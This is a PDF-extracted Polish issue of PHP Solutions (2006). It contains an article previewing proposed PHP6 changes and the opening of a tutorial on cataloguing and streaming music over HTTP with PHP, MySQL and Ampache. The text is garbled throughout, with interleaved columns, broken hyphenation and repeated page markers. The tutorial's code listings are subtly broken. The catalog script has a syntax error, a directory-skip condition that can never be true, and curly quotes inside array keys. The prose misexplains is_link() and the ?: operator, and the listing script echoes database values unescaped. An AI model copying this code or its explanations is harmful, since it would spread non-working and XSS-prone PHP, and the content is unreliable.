Zanim przejdziemy do szczegółów należy jasno zaznaczyć jedno: nie ma stuprocentowej gwarancji, że udogod-nienia przedstawione w dalszej części ni-niejszego tekstu staną się na pewno czę-ścią specyfikacji PHP6. Prezentowane rozwiązania należy postrzegać raczej ja-ko aktualną, aczkolwiek niezobowiązują-cą wizję nowej wersji PHP.

UnicodeWsparcie dla Unicode zależy na dzień dzi-siejszy od żądania klienta. Taki stan rze-

Jedenastego listopada, 2005 roku w Paryżu odbyło się spotkanie twórców platformy PHP. Kluczowym elementem spotkania była dyskusja nad wyznaczeniem przyszłych kierunkówrozwoju dla tej technologii. W wyniku rozmów powstał protokół opisujący pomysły związane z odsłoną PHP6.

czy powoduje, że PHP musi przechowy-wać informacje na temat nazw klas, metod czy funkcji podwójnie: zarówno w formacieUnicode, jak i w formacie zawężonym.W rezultacie potrzeba na to wszystko dużo zasobów. Nowe podejście proponowanew PHP6 polega na tym, że kwestia wspar-cia dla Unicode będzie zależna od serwe-ra, nie od żądania. Szacuje się, że wyłą-czenie wsparcia dla Unicode, w przypadku kiedy funkcjonalność ta jest niepotrzebna może przyśpieszyć działanie operacji na stringach nawet o 300%, zaś działanie ca-łej aplikacji o około 25%. Przeniesienie de-cyzji co do wsparcia dla Unicode do php.ini obciąża odpowiedzialnością za kontrolę tej opcji nie użytkownika (programisty), a ad-ministratora systemu, na którym urucho-miona jest aplikacja.

W przypadku potrzeby samodzielnego skompilowania PHP warto mieć na uwa-dze, że od wersji 6 wymagane będą bi-blioteki ICU (oczywiście tylko wtedy, kie-dy potrzebne jest wsparcie dla Unicode).

Co nowego w PHP6?Richard Davey

W SIECI

1. http://www.corephp.co.uk– Blog Richarda Daveya

2. http://www.php.net/~derick/meeting-notes.html– sprawozdanie ze spotkania twórców PHP

3. http://shiflett.org/archive/135 – informacje na temat PHP6 na blogu Chrisa Shifletta

4. http://www.internetnews.com/dev-news/article.php/3557711– ogólne informacje na temat PHP6

5. http://www.zend.com/collaboration– PHP Collaboration Project

Stopień trudności: lll

Page 19: PHP Solutions 03 2006 PL

PHP6

www.phpsolmag.org 19

Początki

PHP Solutions Nr 3/2006

System przy kompilacji ogłosi błąd, jeśli wymagane biblioteki nie będą dostępne. Mówiąc krótko: trzeba będzie instalować kolejny pakiet w celu skompilowania PHP.

Żegnamy register globalsTak, tak... nadszedł w końcu czas, aby pożegnać się z register globals. Wy-chodzi na to, że PHP6 definitywnie koń-czy erę skryptów pisanych w stylu PHP3(i generalnie wszelkich skryptów wyko-rzystujących zmienne globalne). Jedy-nym wyjściem z tej sytuacji będzie prze-pisanie istniejącego kodu w poprawny sposób. Jest to dość śmiały, aczkolwiek już od dawna potrzebny krok ze względu na aspekt bezpieczeństwa.

Magic Quotes usunięteWraz z ogłoszeniem PHP6, magic qu-otes znikną najprawdopodobniej raz na zawsze. W przypadku ich użycia rzuca-ny będzie wyjątek E_CORE_ERROR. Wprowadzone zmiany dotyczyć będą magic _ quotes, magic _ quotes _ sybase i magic _ quotes _ gpc.

Nigdy więcej Safe ModeWiadomość ta ucieszy zapewne progra-mistów, których klienci domagają się włą-czania tego trybu. W tym momencie Safe Mode znika raz na zawsze. Krok ten po-wodowany jest właśnie złym rozumieniem tej funkcjonalności przez osoby postron-ne. Wielu ludziom wydaje się, że działanie w trybie Safe Mode w jakiś sposób zwięk-sza bezpieczeństwo PHP, co oczywiście nie jest prawdą. Funkcjonalność open _

basedir pozostanie mimo wszystko czę-ścią PHP.

Słowo kluczowe 'var' aliasem 'public'W PHP4 słowo kluczowe 'var' używane było wewnątrz klas. W PHP5 postępo-wanie takie prowadziło do powstawania ostrzeżenia (przy korzystaniu z trybu E_STRICT). Ostrzeżenie to ma być usunię-te w PHP6, jako że słowo kluczowe 'var' ma być aliasem słowa kluczowego 'pu-blic'. Jest to miłe udogodnienie, tyle, że energia osób które poświeciły swój czas na usuwanie wspomnianych ostrzeżeń po wprowadzeniu PHP5, poszła w pew-nym sensie na marne.

Zwracanie przez referencję powoduje błądKonstrukcje w stylu $foo =& new Std-

Class() bądź function &foo będą rzucać wyjątek E_STRICT.

Tryb kompatybilności zend.ze1 usuniętyzend.ze1_compatibility_mode było za-wsze próbą podtrzymania starych zacho-wań PHP4. W związku z tym, że funkcjo-nalność ta nigdy w 100% nie działała po-prawnie, używanie jej w PHP6 będzie prawdopodobnie zabronione, pod groźbą wystąpienia wyjątku E_CORE_ERROR.

Usunięte wsparciedla Freetype 1 i GD 1Wsparcie dla tych obydwu (bardzo, bar-dzo starych) bibliotek będzie usunięte.

dl() dostępny tylkoz poziomu SAPIKażde SAPI będzie rejestrować użycie tej funkcji w razie potrzeby, przy czym jedynie CLI oraz zagnieżdżone SAPI będą mogły korzystać z tej funkcjonalności. W żadnym innym miejscu nie będzie ona dostępna.

FastCGI zawsze włączoneKod FastCGI będzie wyczyszczony i za-wsze włączony dla CGI SAPI. Nie będzie możliwości wyłączenia tej funkcjonalności.

Długie tablice usunięteCiekaw jestem, czy Czytelnicy pamiętają jeszcze zmienne globalne HTTP _ * _ VARS. Cóż, w przypadku jeśli ktoś nie używa $ _ GET, $ _ POST, itd. – proponuję rozpo-cząć to robić, gdyż bardzo prawdopodob-ne jest, że od PHP6 możliwość stosowa-nia długich tablic będzie niedostępna (pod groźbą wystąpienia E_CORE_ERRORw przypadku ich użycia).

Zmiany w rozszerzeniachRozszerzenia XMLReader i XMLWriter zostaną przeniesione do podstawowej dystrybucji i będą automatycznie włą-czone. Rozszerzenie ereg zostanie przeniesione do PECL, co oznacza że PCRE nie będzie możliwe do wyłącze-nia. Dzięki temu można będzie wpro-wadzić nowe rozszerzenie do obsługi wyrażeń regularnych w oparciu o ICU.

Niezmiernie przydatne rozszerzenie Fileinfo będzie przeniesione do podsta-wowej dystrybucji i automatycznie włą-czone.

R E K L A M A

Page 20: PHP Solutions 03 2006 PL

PHP6

www.phpsolmag.org20

Początki

PHP Solutions Nr 3/2006

Rozszerzenia silnika PHP64-bitowy typ całkowity: PHP zostanie-także rozszerzone o całkowicie nowy, już 64-bitowy typ całkowity (int64). Nie będzie typu int32.

Goto: komenda goto nie będzie do-dana, za to słowo kluczowe break bę-dzie rozszerzone o statyczną etykietę. Dzięki temu można będzie użyć konstruk-cji break foo w celu wykonania skoku do etykiety foo: umieszczonej w kodzie źró-dłowym.

Ifsetor(): wygląda na to, że funkcjonal-ność ta będzie usunięta (niestety). Jed-nak w zastępstwie tego operator ?: nie będzie wymagał środkowego parametru, dzięki czemu możliwe będzie używanie następującej konstrukcji:

$foo = $_GET['foo'] ?: 42;

(jeśli foo is prawdą, to $foo będzie rów-ne 42). Taki zapis powinien zaoszczędzić trochę zbędnego pisania kodu, ale osobi-ście wydaje mi się, że jego czytelność po-zostawia wiele do życzenia.

foreach dla tablic wielowymiarowych: to zdecydowanie miła zmiana, która po-zwoli łatwo iterować po listach tablic.

foreach( $a as $k => list($a, $b))

{} kontra []: na dzień dzisiejszy przy od-woływaniu się do poszczególnych zna-ków w napisach możliwe jest używa-nie zarówno notacji {} jak i []. Jednak już od PHP5.1 notacja {} będzie powo-dować rzucanie wyjątku E_STRICT zaś od PHP6 będzie ona całkowicie niedo-stępna. Dodatkowo przy pomocy [] bę-dzie można odwoływać się do fragmen-tów napisu i korzystać z funkcjonalności oferowanej przez array _ slice (na przy-kład: [2,]). W mojej opinii jest to bardzo pomocne rozszerzenie.

Zmiany związanez obiektowościąStatyczne Wiązanie (ang. Static Binding): wprowadzone będzie nowe słowo kluczo-we, aby pozwolić na wykonywanie póź-nych wiązań statycznych. Wywołanie static::static2(), będzie odpowiedzial-ne za ewaluację zmiennych statycznych na etapie czasu wykonania.

Przestrzenie nazw (ang. Namespa-ces): wygląda na to, że ta kwestia jest ciągle nierozstrzygnięta... trzeba jeszcze trochę poczekać na ostateczną decyzję.

Określanie typu zmiennej na podsta-wie zwracanej wartości (ang. Type-hinted Return Values): dostaniemy wsparcie dla określania typu zmiennej na podstawie zwracanej wartości. Jak dotąd, nie okre-ślono jeszcze, jak będzie wygadać skład-nia dla tego mechanizmu języka, jednak koncepcja wygląda ciekawie.

Wywoływanie funkcji dynamicznych jako statycznych będzie powodować błąd E_FATAL: na dzień dzisiejszy można wy-woływać zarówno metody statyczne jak i dynamiczne, bez względu na to, czy są faktycznie dynamiczne czy statyczne. Od PHP6 wywoływanie funkcji dynamicz-nych jako statycznych będzie powodować powstanie błędu E_FATAL.

Rozszerzenia PHPAPC będzie umieszczone w podstawo-wej dystrybucji: APC będzie standardo-wo dołączone do podstawowej dystry-bucji PHP, jednak nie będzie automa-tycznie włączone.

Wzmacniająca łata dla PHP: ła-ta ta ma implementować zbiór dodatko-wych testów powiązanych z bezpieczeń-stwem PHP. Warto wymienić następują-ce usprawnienia w tym zakresie: ochro-na przed dzieleniem odpowiedzi HTTP, podział allow _ url _ fopen na dwie czę-sci: allow _ url _ fopen i allow _ url _ in-

clude, automatyczne włączenie allow _

url _ fopen i automatyczne wyłączenie allow _ url _ include.

E_STRICT dołączone z E_ALL: to coś naprawdę poważnego! Wiadomości na poziomie E_STRICT będą automatycz-nie dołączone do E_ALL. Jest to zdecydo-wany ruch w stronę przymusowej edukacji programistów w zakresie stosowania wła-ściwych praktyk programowania w PHP.

Koniec z notacją <%: oznacza to ko-niec wspierania tagów w stylu ASP, nadal pozostanie jednak skrócony tag <?.

PodsumowanieMówiąc krótko: PHP6 w zdecydowany sposób wyznacza nowe interesujące kie-runki i przeciera nowe ścieżki. Wygląda na to, że twórcy technologii mają ambicje wymusić stosowanie właściwych technik programistycznych poprzez odrzucenie starego paradygmatu kodowania w sty-lu: cóż, POWINIENEŚ wykonać to w ten sposób, ale zawsze możesz zrobić to po staremu. Od PHP6 nie będzie już robie-nia rzeczy po staremu. Usunięcie takich naleciałości języka jak zmienne globalne,

magic quotes, długie tablice czy indekso-wanie napisów za pomocą {} będzie zwy-czajnie zmuszać programistów do stoso-wania poprawnych technik.

Z drugiej strony, wiele istniejących skryptów po prostu przestanie dzia-łać, zaś w dużej części takich przypad-ków ponowne uruchomienie aplikacji bę-dzie, bardzo trudne i czasochłonne. Czy to źle? Osobiście, nie sądzę – podejrze-wam jednak, że z tego powodu adaptacja PHP6 potrwa jeszcze wolniej niż miało to miejsce w przypadku PHP5. A to raczej nie wyjdzie nikomu na dobre. Jednak wy-daje mi się, że taki stanowczy krok musi być kiedyś wykonany. Jak już raz przez to przejdziemy, wtedy będzie o wiele łatwiej rozwijać PHP o dalsze kolejne właściwo-ści, o których dziś trudno nawet marzyć.

Warto w tym miejscu wspomniećo przedsięwzięciu PHP Collaboration Fra-mework (projekt Eclipse PHP i Zend PHP Framework), które skupiło wokół siebie wielu czołowych graczy z branży IT: IBM, Oracle, MySQL czy Intel. Przedsięwzię-cie to na dzień dzisiejszy postrzegane jest jako główny motor przyszłych sukce-sów platformy PHP. Wspomniana inicja-tywa bazuje aktualnie na PHP5, jednak w przyszłości ten albo podobne projekty będą zapewne wspierać PHP6.

Na koniec, w ramach ciekawostki war-to zaznaczyć, że twórcy PHP nie postrze-gają platformy J2EE jako rywala i techno-logii odniesienia dla dalszego rozwoju PHP. Za technologię, z której chcą czerpać po-mysły, uważają raczej Microsoft .NET.W związku z tym można się spodziewać, że w przyszłości wiele rozwiązań zastoso-wanych w PHP6 będzie opierać się wła-śnie na pomysłach stosowanych w .NET.

Zainteresowanym polecam lektu-rę pełnego sprawozdania ze spotkania w Paryżu; jest ono dostępne pod adre-sem: http://www.php.net/~derick/meeting-notes.html n

Richard Davey jest programistą posia-dającym certyfikat Zend. Pracuje głów-nie z aplikacjami związanymi z grami komputerowymi. Posiada własny blog poświęcony PHP, dostępny pod adre-sem http://www.corephp.co.uk. Richard od 1996 programuje aplikacje webowe i nadal zdumiony jest kierunkiem w któ-rym rozwija się Sieć i PHP. Autor żyje wraz z żoną w Anglii.

O autorze

Page 21: PHP Solutions 03 2006 PL
Page 22: PHP Solutions 03 2006 PL

www.phpsolmag.org22

Techniki

PHP Solutions Nr 3/2006

streaming audio w PHP

www.phpsolmag.org 23

Techniki

PHP Solutions Nr 3/2006

Ampache to wydawany na licen-cji GNU General Public Licen-se interfejs WWW do strumie-

niowych transmisji różnych formatów pli-ków dźwiękowych przez protokół HTTP. Można go także stosować do nadzoro-wania serwerów MPD, Icecast2 i Moosic (ta funkcja Ampache jest często stosowa-na do zdalnej obsługi domowego zestawu stereo). Przez ostatnie cztery lata kod Am-pache odpowiedzialny za strumieniowa-nie ewoluował od wykorzystania modułu Mod::mp3 serwera Apache do samodziel-nej obsługi transmisji wzbogaconej o moż-liwość transkodowania, downsamplingu oraz wyszukiwania strumieni przez HTTP i HTTPS.

W niniejszym artykule stworzymy apli-kację do rekursywnego katalogowania pli-ków muzycznych oraz wyświetlania tych danych. Następnie zajmiemy się transmi-sjami strumieniowymi dźwięku przez pro-tokół HTTP za pomocą PHP, a potem za-stosujemy downsampling. Na koniec omó-

Do stworzenia portalu multimedialnego nie trzeba drogich, komercyjnych, wydzielonych serwerów. Wystarczą PHP, serwer Apache oraz baza MySQL. W artykule pokażemy kompletne rozwiązanie umożliwiające streaming audio.

wimy różne metody monitorowania piose-nek aktualnie odsłuchiwanych przez użyt-kowników skryptu i zachowanie różnych klientów.

Robimy odtwarzaczPrzejdźmy do skatalogowania plików dźwiękowych. Proces ten będzie się opie-rał na wzorcach nazw plików – do indek-sowania według danych ze znaczników ID3 potrzebny byłby skrypt getid3() (http:

Strumieniowa transmisja dźwięku przez HTTP z wykorzystaniem AmpacheKarl Vollmer

W SIECI

1. http://www.faqs.org/rfcs/rfc2616.html

– RFC 2616 (nagłówki HTTP)2. https://svn.ampache.org/trunk/lib/

stream.lib.php – Ampache Public SVN (przykłady kodu)3. https://svn.ampache.org/trunk/play/

index.php – kod źródłowy, który wykorzystali-

śmy4. http://www.ampache.org – Ampache Development5. https://ampache.bountysource.com

Stopień trudności: lll

Co powinieneś wiedzieć...Konieczna jest podstawowa znajomość PHP i Apache. Wskazane jest też do-świadczenie w konfiguracji PHP i znajo-mość terminologii związanej z audycjami internetowymi.

Co obiecujemy...Stworzymy aplikację, która przygotuje re-kursywny katalog plików dźwiękowych oraz umożliwi ich strumieniowanie oraz downsampling.

Page 23: PHP Solutions 03 2006 PL

www.phpsolmag.org22

Techniki

PHP Solutions Nr 3/2006

streaming audio w PHP

www.phpsolmag.org 23

Techniki

PHP Solutions Nr 3/2006

//getid3.org). Dane będziemy przechowy-wać w bazie danych z jedną tabelą (patrz Listing 1). Każdy z wierszy tabeli będzie zawierał informacje o tytule utworu, albu-mie, wykonawcy i rozmiarze pliku.

Praca nad katalogiemNasz skrypt katalogujący będzie nosił na-zwę katalog.php (patrz Listing 2). Trze-ba pamiętać, że domyślnie każdy skrypt PHP wygasa po 30 sekundach. Aby temu zapobiec (jest to konieczne w przypadku dużych katalogów), ustawimy parametr time_limit na 0 za pomocą wbudowanej funkcji PHP set_time_limit().

Następnie spróbujemy utworzyć połą-czenie z bazą danych. Jeśli będzie to nie-możliwe, program przestanie się wykony-wać dzięki wyrażeniu or_die().

Kolejną ważną rzeczą jest zdefiniowa-nie tablicy $extensions, zawierającej typy plików brane pod uwagę podczas prze-szukiwania muzyki. Ustawiliśmy obsłu-gę rozszerzeń mp3, ogg i flac, ale do tej listy można dodać dowolne formaty pli-ków. Kolejnym krokiem będzie zdefiniowa-nie tablicy $tags oraz zmiennej tekstowej $pattern. Przydadzą się one później, na-

piszemy bowiem kod, który będzie auto-matycznie parsował nazwę pliku i pobierał z niej informacje o wykonawcy, albumie i tytule utworu. Zmienna $pattern zdefiniu-je wzorzec parsowania nazwy, zaś za po-mocą $tags połączymy przetworzone czę-ści z etykietami artist, album i title.

Na koniec umieścimy wywołanie funk-cji gather_files(), która rozpocznie wy-szukiwanie muzyki w katalogach na dys-ku. Podamy jej parametr określający kata-log, w którym należy rozpocząć przeszu-kiwanie (w tym przypadku będzie to kata-log główny).

Przyszedł czas na zdefiniowanie funk-cji gather_files(). Rozpoczyna ona swo-je działanie od otwarcia głównego kata-logu, który zostaje podany jako parametr ($path), a następnie rekursywnie (pętla while) wyszukuje w aktualnym katalogu pliki, których rozszerzenia są wymienione w tablicy globalnej $extensions, a zdefi-niowanej wcześniej.

Funkcja pomija pliki o nazwach „.” i “..” poprzez przeskok do następnej iteracji while (przy użyciu continue). Jeżeli odnaj-dzie podkatalog o innej nazwie, wywołuje się sama z nazwą katalogu podaną jako argument. W celu uniknięcia ryzyka wska-zania na dowiązanie symboliczne i podą-żenia za nim, co mogłoby prowadzić do

niekończącej się pętli, otwieramy podkata-log wyłącznie wtedy, gdy jest on dowiąza-niem twardym (sprawdzamy to za pomo-cą is_link()).

Wreszcie, jeżeli nazwa wskazuje na plik, a nie na katalog, sprawdzamy za po-średnictwem jego rozszerzenia (znajdujące-go się w $GLOBALS['extension']) popraw-ność pliku audio. Jeżeli plik jest popraw-ny, pobieramy jego dane za pomocą funkcji get_file_info(), której jeszcze nie stworzyli-śmy. Potem dodajemy te informacje do ba-zy danych przy użyciu kolejnej niestworzo-nej jeszcze funkcji – insert_file().

Potrzebne informacjeStwórzmy teraz funkcję get_file_info(). Funkcja ta pobierze pełną nazwę każde-go kolejnego pliku jako swój jedyny argu-ment i zwróci tablicę asocjacyjną z danymi o każdym utworze muzycznym.

Jak już wspomniano, użyjemy wzor-ców i znaczników do pobrania nazwy al-bumu, wykonawcy i piosenki z nazwy pli-ku. Warto byłoby dowiedzieć się, w jaki sposób to działa.

Listing 1. Tabela bazy danych przechowująca dane o utworach muzycznych

CREATE TABLE `music` ( `id` int(11) unsigned NOT NULL auto_increment, `file` varchar(255) NOT NULL default '', `title` varchar(255) NOT NULL default '', `album` varchar (255) NOT NULL default '', `artist` varchar(255) NOT NULL default '', `size` int(11) unsigned NOT NULL default '0', KEY `album` (`album`), KEY `artist` (`artist`), KEY `id` (`id`), KEY `file` (`file`),) TYPE=MyISAM;

Wymaganial PHP 4.1.2 lub nowszel MySQL 3.2.3 lub nowsza z kontem

umożliwiającym stworzenie nowej bazy

l Serwer WWW obsługujący PHP (Apache, IIS lub inny)

Instalacja Ampachel Pobierz najnowsze archiwum z

http:/ /ampache.org /downloads /current.tar.gz i rozpakuj je do głów-nego katalogu serwera WWW.

l Uruchom przeglądarkę i skieruj ją do głównego katalogu rozpakowa-nego Ampache.

l Wykonuj pojawiające się polecenia.

Downsamplingz użyciem zewnętrznych narzędziMp3splt dzieli plik MP3 przed wysłaniem go do LAME w celu ponownego zako-dowania. Ampache umożliwia konfigu-rację, jednak domyślne polecenie down-samplingu wygląda następująco:

mp3splt -qnf %FILE% %OFFSET%

%EOF% -o -

| lame --mp3input -q 3 -b

%SAMPLE% -S - -

Łańcuchy między znakami % są za-stępowane przez zmienną.

Rysunek 1. Widok albumu w Ampache

Page 24: PHP Solutions 03 2006 PL

streaming audio w PHP

www.phpsolmag.org24

Techniki

PHP Solutions Nr 3/2006

Na początku funkcja get_file_info() tworzy tablicę $results zawierającą jedno pole o nazwie file, które wskazuje na peł-ną ścieżkę podaną jako parametr.

Następnie dokonuje iteracji na wszyst-kich możliwych znacznikach wzorca zdefi-niowanych w $GLOBALS['tags'].

To właśnie ta funkcja, wykorzystuje je do konstrukcji wyrażeń regularnych, któ-re pomogą pobrać dane odpowiadające atrybutom wskazywanym przez znaczniki. Otrzymane dane będą przechowywane w $results pod nazwą każdego ze znaczni-ków. Po zebraniu wszystkich potrzebnych informacji funkcja zwraca tablicę $results zawierającą nazwę pliku, album, nazwę wykonawcy i tytuł utworu.

Umieszczenie informacji w bazie danychCzas na utworzenie funkcji insert_file(), która doda zebrane informacje (podane jako parametr) do bazy danych. Dane zo-staną oczyszczone, a z bazy będą pobie-rane oddzielne elementy. Aby je uporząd-kować, użyjemy funkcji sql_escape(), któ-rą zresztą będziemy musieli utworzyć. Jest ona dostosowana do MySQL, więc w przypadku korzystania z innej bazy należy ją odpowiednio zmodyfikować. Po oczysz-czeniu elementów skorzystamy z funkcji PHP filesize() w celu pobrania rozmia-ru pliku — informacja ta zostanie umiesz-czona w rekordzie bazy danych, który również zostanie dodany (będzie potrzeb-ny podczas transmisji). Musimy też utwo-rzyć zapytanie SQL i wykonać je za pomo-cą mysql_query() na uchwycie bazy da-nych $GLOBALS['dbh']. Dzięki temu dane zostaną dodane do bazy.

Kurtyna w góręSkatalogowaliśmy już muzykę i zapisali-śmy dane o utworach w bazie danych. Te-raz musimy znaleźć sposób, aby je wy-świetlić. Na Listingu 3 przedstawiono pro-sty interfejs (index.php), który wyświetla całą kolekcję. Skrypt ten pokazuje wszyst-kie utwory, co mogłoby znacznie spowol-nić jego wykonywanie w przypadku du-żych zbiorów muzycznych, ale dla na-szych potrzeb jest odpowiedni, a w dodat-ku można go łatwo rozbudować.

Połączymy się z bazą danych przy użyciu wyrażenia or_die(), co zatrzy-ma wykonywanie skryptu w razie błędu połączenia. Uchwytem bazy danych jest $GLOBALS['dbh']. Następnie wykonuje-my proste zapytanie SELECT * FROM music

Listing 2. Zawartość /catalog.php

<?php

set_time_limit(0);

$dbh = mysql_connect('localhost','user','password') or die ('BŁĄD: nie można połączyć się z bazą danych');

$extensions = array('mp3','ogg','flac');$tags = array('title'=>'%t','album'=>'%a','artist'=>'%A');$pattern = '%a/%A/%t'; //definicja wzorca nazwy pliku; ignoruje rozszerzenie

gather_files('/home/mymusic'); // rozpoczęcie zbierania plików

function gather_files($path) { $handle = opendir(stripslashes($path)); // otwiera katalog

while ( false !== ( $file = readdir($handle) ) ) { $file = addslashes($file); // konieczne do uniknięcia ' w nazwach plików

if ($file == "." AND $file == "..") { continue; } @chdir(stripslashes($path);

$full_file = stripslashes($path."/".$file);

$full_file = str_replace("//","/",$full_file);

if (is_dir($full_file)) {gather_files($full_file); continue;} $info = pathinfo($full_file); // pobierz dane o pliku

if (in_array($info[‘extension’],$GLOBALS['extensions'])) { $file_info = get_file_info($full_file); // pobierz informacje o pliku

insert_file($file_info);}

} // zakończ, jeśli bieżący katalog

@closedir($handle); // zamknij uchwyt katalogu}

function get_file_info($full_file) { $results = array('file'=>$full_file);

foreach ($GLOBALS['tags'] as $name=>$tag) {

$preg_pattern = str_replace($tag,"(.+)",$GLOBALS['pattern']);

$preg_pattern = preg_replace("/\%\w/",".+",$preg_pattern);

$preg_pattern = "/" . str_replace("/","\/",$preg_pattern) . "\..+/";

preg_match($preg_pattern,$full_file,$matches);

$results[$name] = stripslashes($matches[1]);

}

return $results;}

function insert_file($data) { $title = sql_escape($data['title']);

$album= sql_escape($data[‘album’]);

$artist = sql_escape($data['artist']);

$file = sql_escape($data['file']);

$size = filesize($data['file']);

$sql = "INSERT INTO `music` (`title`,`album`,`artist`,`file`,`size`)

VALUES"." ('$title','$album','$artist','$file','$size')";

$db_results = mysql_query($sql, $GLOBALS['dbh']); return true;}

function sql_escape($string,$dbh=0) { if (!is_resource($dbh)) { $dbh = $GLOBALS['dbh']; } if (function_exists('mysql_real_escape_string')) { $string = mysql_real_escape_string($string,$dbh);

}else { $string = mysql_escape_string($string); } return $string; }?>

Przyjrzyjmy się najpierw globalnej zmiennej tekstowej $pattern. Zawiera ona wzorzec, który wskazuje tej funkcji, w jaki sposób nazwa pliku powinna zostać po-dzielona na części. Każda część jest opi-sana kilkoma znakami (atrybutem) – tu-taj użyjemy %t dla tytułu piosenki, %a dla albumu oraz %A dla wykonawcy. Wszyst-kie atrybuty w łańcuchu są rozdzielone znakiem separatora – my używamy /, co oznacza, że części będą kolejnymi kata-

logami, można jednak użyć innego znaku, na przykład myślnika (-) lub podkreślnika (_). W rezultacie wzorzec %a/%A/%t ozna-cza album/wykonawca/tytul.

Nasza funkcja wymaga również zdefiniowania innej zmiennej global-nej: $GLOBALS['tags']. Jest to tablica asocjacyjna wiążąca atrybuty z nazwa-mi znaczników, które będą użyte do ge-nerowania wyników zwracanych przez funkcję.

Page 25: PHP Solutions 03 2006 PL

streaming audio w PHP

www.phpsolmag.org 25

Techniki

PHP Solutions Nr 3/2006

Można zauważyć, że w przypadku pli-ku FLAC rozszerzenie ma postać .ogg: jest to spowodowane błędem w niektó-rych wersjach odtwarzacza Winamp. Nie jest on w stanie rozpoznać, co powinien zrobić z plikiem .flac, więc musimy spra-wić, aby traktował go jako .ogg, jednocze-śnie pozostawiając Content-Type w posta-ci audio/x-flac – dzięki temu klient zasto-suje właściwy kodek.

Następnie za pomocą wyrażenia header() przekażemy mu dwa nagłówki: Content-type:, zawierający przygotowane dane oraz Content-Disposition: z łańcu-chem rozszerzenia pliku.

Wysyłanie tych nagłówków to jednaz najważniejszych funkcji całej aplikacji, ponieważ zmusza ona aplikację kliencką, aby uznała plik za dźwiękowy, choć w rze-czywistości jest to plik PHP.

Następnie powinniśmy ustawić w pliku php.ini zmienną time_limit na 0, co za-pobiegnie wygaśnięciu skryptu oraz wy-łączyć magic quotes podczas uruchamia-nia (set_magic_quotes_runtime(0)), aby zabezpieczyć fread(). Teraz otwieramy

Listing 3. Zawartość /index.php

<?php

$dbh = mysql_connect ('localhost','user','password') or die ('BŁĄD: nie można połączyć się z bazą danych');

$sql = "SELECT * FROM music

ORDER BY title";

$db_results = mysql_query ($sql, $GLOBALS['dbh']);?>

<p>Oglądanie utworów:</p>

<dl>

<?php

while ($r = mysql_fetch_assoc( $db_results)) {

$link = "/play.php?song_id="

. $r['id'];

$name = $r['album'] . ' - ' .

$r['artist'] . ' - ' .

$r['title']

?>

<dd><a href="

<?php echo $link; ?>"> <?php echo $name; ?></a></dd><?php } // end while loop ?>

</dl>

Now PlayingNow Playing (Teraz odtwarzane) to popularna funkcja Ampache, która umożliwia obserwo-wanie aktualnie transmitowanych plików. Została ona dodana w marcu 2004 r. i była jed-ną z trudniejszych do zaimplementowania opcji. Trudność wynika z pasywnej natury HTTP i różnic między aplikacjami klienckimi. Istnieją dwa podstawowe typy klientów – chciwe i uprzejme. Chciwe klienty, na przykład Windows Media Player, próbują pobrać plik najszyb-ciej, jak to możliwe. Klienty uprzejme, takie jak XMMS, pobierają tylko dane potrzebne do zapełnienia bufora.Funkcja Now Playing wymaga wspólnego miejsca (np. bazy danych) przechowywania da-nych operacyjnych. Istnieje kilka algorytmów określania aktualnie odtwarzanego na serwe-rze utworu. Podstawowa metoda jest następująca:

l przechowywanie rekordu z unikalnym ID i czasem wygaśnięcia równym time()+ długość utworu,

l garbage collection na utworach, które wygasły.

Druga metoda wykorzystuje wywołanie ignore_user_abort(TRUE), co powoduje zignoro-wanie przez PHP sygnału przerwania wysyłanego przez klienta i wyczyszczenie pamięci na samym końcu skryptu. Metoda ta pozwala uniknąć wielu wpisów Now Playing w przy-padku, gdy użytkownik nacisnął next przed końcem utworu – nie działa jednak z chciwy-mi klientami, które zamykają połączenie na długo przed końcem piosenki. Ampache wyko-rzystuje algorytm stosowany przez inne popularne internetowe szafy grające, który jest po-łączeniem dwóch metod. Załóżmy, że w jakiś sposób monitorujemy użytkowników i mamy następującą strukturę tabeli MySQL:

`id` int(11) unsigned NOT NULL auto_increment

`session` varchar(64) default NULL

`song` varchar(255) default NULL

`expire` int(11) unsigned NOT NULL default '0'

Kiedy strumień zostaje wywołany, serwer wykrywa wartość User Agent przez sprawdze-nie globalnej $_SERVER[HTTP_USER_AGENT]. W przypadku chciwego klienta serwer ustawia czas wygaśnięcia na time()+song_length. W innym wypadku ustawia go na time() + 86400, czyli dobę od danej chwili. Następnie sprawdzamy, czy klient jest chciwy i czy użyt-kownik odtwarza już utwór. Jeśli spełnione są oba warunki, usuwamy poprzedni rekord. Dotyczy to sytuacji, kiedy zostaje naciśnięty przycisk Next przed końcem utworu. ignore_user_abort(TRUE) jest używane w przypadku uprzejmych klientów. Na samym końcu skryptu, jeśli klient nie jest chciwy, usuwany jest wpis dodany w czasie otwarcia strumienia.

ORDER BY title, które wybierze wszystkie wiersze z tabeli music i poukłada je we-dług tytułu (pole title).

Potem za pomocą wyrażenia while() dokonamy iteracji na zwróconych wy-nikach. Dla każdego wiersza zostanie utworzony odsyłacz ($link) do skryp-tu play.php, który stworzymy później, ra-zem z ID aktualnej piosenki jako parame-trem. Razem z $link zostanie utworzony łańcuch $name, zawierający informacje o aktualnym utworze, albumie, wykonawcy i tytule wyświetlane przy każdym odsyła-czu. Dzięki temu skrypt wyświetli komplet-ny odsyłacz.

Transmisja strumieniowa: niech gra muzykaPrzejdźmy teraz do właściwej transmisji. Jak już wspomniano, stworzymy skrypt play.php, który zajmie się transmisją wy-branego pliku. Warto zauważyć, że nie możemy strumieniować pliku w tym sa-mym skrypcie, który generuje interfejs – transmisja opiera się na manipulacji na-główkami HTTP, która byłaby niemożliwa w obrębie jednego skryptu.

Poprzez te manipulacje informuje-my przeglądarkę, że udostępniany jest plik dźwiękowy, a nie skrypt PHP. Na Rysunku 1 przedstawiono widok albu-mu w Ampache (za http://ampache.org).

Wszystkie pokazane tam odnośniki do odtwarzania wybranych utworów wska-zują na /play/index.php (kod źródłowy można przeglądać pod adresem https://svn.ampache.org/trunk/play/index.php) – jest to po prostu bardziej rozbudowana wersja skryptu play.php. Po uruchomieniu /play/index.php w przeglądarce WWW zo-baczymy, że plik ten został uznany przez aplikację za plik dźwiękowy (Rysunek 2).

Stwórzmy teraz plik play.php (Listing 4). Będzie to kompletny skrypt, zdolny do strumieniowania plików OGG, FLAC i MP3 na podstawie ID utworu. Umożliwi on też downsampling oraz przeszukiwanie określonej części pliku.

